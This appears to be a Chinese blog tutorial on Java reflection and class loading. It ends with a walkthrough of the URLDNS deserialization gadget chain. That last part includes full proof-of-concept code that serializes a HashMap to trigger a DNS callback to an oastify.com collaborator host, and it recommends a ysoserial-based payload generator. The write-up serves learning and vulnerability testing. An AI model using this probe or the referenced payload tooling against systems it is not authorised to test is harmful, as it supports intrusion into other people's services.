反射 在我看来java是反射机制,带来更广的攻击面,比如:获取属性,修改属性值,调用方法之类的,这样就使得利用空间更大了
动态与静态语言 动态语言
就是在运行时可以改变其结构的语言:例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或是其他结构上的变化。通俗点说就是在代码运行时代码可以根据某些条件改变自身结构。
静态语言
与动态语言相对应,运行时结构不可变的语言就是静态语言。
Java不是动态语言,但Java可以称之为”准静态语言”。即Java有一定的动态性,我们可以利用反射机制获得类似动态语言的特性。java的动态性让编程的时候更加灵活
反射机制(Reflection) Reflection(反射) 是Java被视为动态语言的关键,反射机制允许程序在执行期借助Reflection API取得任何类的内部信息,并且直接操作任意对象的内部属性及方法、
1 Class c = Class.forName("java.a=lang.String" )
流程
加载完类以后,在堆内存的方法区中就会产生一个Class类型的对象(一个类只有一个Class对象),这个对象就包含了一个完整的类的结构信息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子,透过这个镜子看到类的结构,所以,我们现象的称之为:反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package reflection;public class day1 { public static void main (String[] args) throws ClassNotFoundException { Class s1=Class.forName("reflection.test" ); System.out.println(s1); Class s2=Class.forName("reflection.test" ); Class s3=Class.forName("reflection.test" ); System.out.println(s1.hashCode()); System.out.println(s2.hashCode()); System.out.println(s3.hashCode()); } } class test { private String name; public int age; private int id; public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } public int getId () { return id; } public void setId (int id) { this .id = id; } @Override public String toString () { return "test{" + "name='" + name + '\'' + ", age=" + age + ", id=" + id + '}' ; } }
几种常用获取Class的方法 有三种的形式
1 2 3 Class c = Class.forName("java.a=lang.String" )Class c1=person.getClass(); Class c2=类名.class;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package reflection;public class day2 { public static void main (String[] args) throws ClassNotFoundException { Person aa=new student (); System.out.println("this is " +aa.name); Class c1=aa.getClass(); System.out.println("c1.hashCode()=" +c1.hashCode()); Class c2=Class.forName("reflection.student" ); System.out.println("c2.hashCode()=" +c2.hashCode()); Class c3=student.class; System.out.println("c3.hashCode()=" +c3.hashCode()); Class c4=Integer.TYPE; System.out.println(c4); Class c5=c1.getSuperclass(); System.out.println(c5); } } class Person { String name; public Person (String name) { this .name = name; } public Person () { } @Override public String toString () { return "Person{" + "name='" + name + '\'' + '}' ; } } class teacher extends Person { public teacher () { this .name="teacher" ; } } class student extends Person { public student () { this .name="student" ; } }
java类加载内存分析 在Java中的内存分为三个部分,栈 堆 方法区
类的加载过程 类的加载(Load) 类加载器完成将类的class文件读入内存并创建java.lang.Class对象操作。
类的链接(Link) 将类的二进制数据合并进JRE,在合并的过程中可以对类进行校验,检查其是否存在安全问题,是否符合JVM语法规范,接着为类变量(static)分配内存和设置默认初始值,这些内存在方法区中进行分配。最后在虚拟机中将常量名替换为引用地址。
类的初始化(Initialize) JVM对类进行初始化,过程中执行类构造器的方法,此方法是编译期自动收集类中的变量赋值动作和静态代码合并而成的,且虚拟机会保证类构造器的方法会在多线程中被正确的加锁和同步。且在初始化过程中,如果发现类的父类还没有被初始化,则会优先初始化其父类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package reflection;public class day4 { public static void main (String[] args) { A a=new A (); System.out.println(a.q);} } class A { static int q=100 ; static { System.out.println("原来的q=" +q); q=200 ; System.out.println("A类静态代码快构造成功" +q); } public A () { q=300 ; System.out.println("A的无参构造成功" +q); } }
会发生类初始化的情况 :(类Class的主动引用)
1.虚拟机启动,首先初始化main方法所在的类
2.new一个类对象的时候
3.调用类静态成员(非final)和静态方法
4.使用java.lang.reflect包的方法对类进行反射调用时
5.初始化一个类,如果其父类没有被初始化,则优先初始化其父类
不会发生类初始化 (类的被动引用)
1.当访问哪一个静态域时,只有真正声明这个域的类才被初始化
2.通过数组定义类引用时
3.引用常量不会触发初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package reflection;public class day5 { static { System.out.println("main被初始化" ); } public static void main (String[] args) throws ClassNotFoundException { System.out.println(s.b); } } class f { static { System.out.println("f被初始化" ); } static int q=100 ; } class s extends f { static int a=100 ; static { System.out.println("s被初始化" ); } static final int b=100 ; }
类加载器 作用将class文件字节码加载到内存,并将这些静态数据转换成方法区的运行时数据结构,然后再生成一个代表这个类的java.lang.class对象,作为方法区中类数据的访问入口
类缓存 :标准的JavaSE类加载器可以按要求查找类,但是一旦某个类被加载到类加载器中,它将维持加载(缓存)一段时间,不过JVM垃圾回收机制可以回收这些class对象
三种类型的** 类加载器**
引导类加载器 :用c++编写的,是JVM自带的类加载器,负责Java平台核心库,用来装载核心类库。该类加载器无法直接获取
扩展类加载器 :负责jre/lib/ext目录下的jar包或-D java.ext.dirs 指定目录下的jar包装入工作库
系统类加载器 :负责java -classpath 或-D java.class.path所指的目录下的类与jar包装入工作,是最常用的加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package reflection;public class day6 { public static void main (String[] args) throws Exception { ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); System.out.println(systemClassLoader); ClassLoader parent1=systemClassLoader.getParent(); System.out.println(parent1); ClassLoader parent2=parent1.getParent(); System.out.println(parent2); ClassLoader qwe=Class.forName("reflection.day6" ).getClassLoader(); System.out.println(qwe); ClassLoader qwe1=Class.forName("java.lang.Object" ).getClassLoader(); System.out.println(qwe1); System.out.println(System.getProperty("java.class.path" )); } }
获取类的运行时结构 通过反射获取运行时类的完整结构
Field Method Constructor Superclass Interface Annotation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package reflection;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class day7 { public static void main (String[] args) throws Exception { Class aa=Class.forName("reflection.test" ); System.out.println(aa.getName()); System.out.println(aa.getSimpleName()); Field[] fields=aa.getFields(); for (Field f:fields ){ System.out.println(f); } fields=aa.getDeclaredFields(); for (Field f:fields ){ System.out.println(f); } Field name=aa.getDeclaredField("name" ); System.out.println(name); System.out.println("----------------------------" ); Method[] methods=aa.getMethods(); for (Method m:methods ){ System.out.println("正常的:" +m); } methods=aa.getDeclaredMethods(); for (Method m:methods ){ System.out.println("getDeclaredMethods:" +m); } System.out.println("----------------------------" ); Method getname=aa.getMethod("getName" ); Method setname=aa.getMethod("setName" ,String.class); System.out.println(getname); System.out.println(setname); System.out.println("----------------------------" ); Constructor[] constructors=aa.getConstructors(); for (Constructor c:constructors ){ System.out.println(c); } constructors=aa.getDeclaredConstructors(); for (Constructor c:constructors ){ System.out.println("##" +c); } Constructor constructor=aa.getConstructor(String.class); System.out.println(constructor); } }
有了Class对象,能做什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package reflection;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class day8 { public static void main (String[] args) throws Exception { Class c1=Class.forName("reflection.test" ); test a=(test)c1.newInstance(); System.out.println(a); Constructor c2=c1.getDeclaredConstructor(String.class,int .class); Object c3=c2.newInstance("qqqqqq" ,10 ); System.out.println(c3); test a1=(test)c1.newInstance(); Method m1=c1.getDeclaredMethod("setName" ,String.class); m1.invoke(a1,"qwertyui" ); System.out.println(a1.getName()); test a2=(test)c1.newInstance(); Field f1=c1.getDeclaredField("age" ); f1.set(a2,10 ); System.out.println(a2.getAge()); Field f2=c1.getDeclaredField("name" ); f2.setAccessible(true ); f2.set(a2,"qqqqqqqqq" ); System.out.println(a2.getName()); } }
反射操作泛型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package reflection;import java.lang.reflect.Method;import java.lang.reflect.Type;import java.util.List;import java.util.Map;public class day9 { public void test1 (Map<String,test>map, List<String> list) { System.out.println("test1" ); } public Map<String,test> test2 () { System.out.println("test2" ); return null ; } public static void main (String[] args) throws Exception { Method a1=day9.class.getMethod("test1" ,Map.class,List.class); Type[] generic=a1.getGenericParameterTypes(); for (Type t:generic){ System.out.println(t); } } }
反射获取注解信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package reflection;import java.lang.annotation.*;import java.lang.reflect.Field;public class day10 { public static void main (String[] args) throws Exception { Class q=Class.forName("reflection.students" ); Annotation[] annotations=q.getAnnotations(); for (Annotation annotation : annotations) { System.out.println(annotation); } Field qq=q.getDeclaredField("name" ); Annotation w=qq.getAnnotation(Fieldkuang.class); System.out.println(w); } } @Tablekuang(name="qwerty") class students { @Fieldkuang(age=12,name="int",id=10) private int age; @Fieldkuang(age=12,name="string",id=10) private String name; @Fieldkuang(age=12,name="int",id=10) private int id; public void setName (String name) { this .name = name; } public void setAge (int age) { this .age = age; } public void setId (int id) { this .id = id; } public int getAge () { return age; } public String getName () { return name; } public int getId () { return id; } } @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @interface Tablekuang{ String name () ; } @Target(ElementType.FIELD) @Retention(RetentionPolicy.RUNTIME) @interface Fieldkuang{ String name () ; int age () ; int id () ; }
DNSlog链的复现 dnslog链一般用来测试是否存在序列化漏洞,它最终在序列化时会发送一条dns请求,它对环境很友好,限制较少,所以一般可以通过dnslog链来判断是否存在序列化漏洞
这里介绍一个工具,可以直接生成序列化后的文件,来触发漏洞
deswing 这个工具对ysoserial进行了集成,使得页面可视化,将常见的利用链进行了封装
下载的地址:https://github.com/0ofo/Deswing
使用方法,可以直接点击jar包选择具体的链来进行导出即可
DNSlog的利用流程为:
URL类中的hashCode中有一个代码:
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
跟进hashCode函数
1 InetAddress addr = getHostAddress(u);
这里获取了主机地址,从而发送dns请求,同时URL类是继承了serilized接口,所以,它可以被利用,就开始回推,看哪里可能可以调用URL.hashCode
然后就找到了HashMap类
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
现在就可以去寻找看HashMap中的hash函数在哪里被调用了
这里就发现了在HashMap重写了readObject,并且在readObject中就有关键一步
1 2 3 4 5 6 7 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
所以在HashMap函数中如果我们将URL类当做一个键传入时,可以做到触发dns请求,但是要注意在序列化之前确保传入的URL的hashcode的值为-1,不然就无法触发hashCode函数,这里就可以通过反射来进行获取,并修改
可能会导致失败的原因就是当java的版本太高可能将无法通过反射来获取和修改私有的属性导致其修改失败,建议在java9之下来做这个实验
具体的操作就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.*;import java.lang.reflect.Field;import java.net.HttpURLConnection;import java.net.URL;import java.util.HashMap;public class serialize { public static void serialized (Object oss) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(oss); } public static Object unserialized (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } public static void main (String[] args) throws Exception { URL url = new URL ("http://fexmpmw0vs3v4tofkt86osxh98f43vrk.oastify.com" ); Field hashCode = URL.class.getDeclaredField("hashCode" ); hashCode.setAccessible(true ); hashCode.setInt(url, 100 ); HashMap<URL,Object> map=new HashMap <>(); map.put(url,null ); hashCode.setInt(url, -1 ); serialized(map); unserialized("ser.bin" ); } }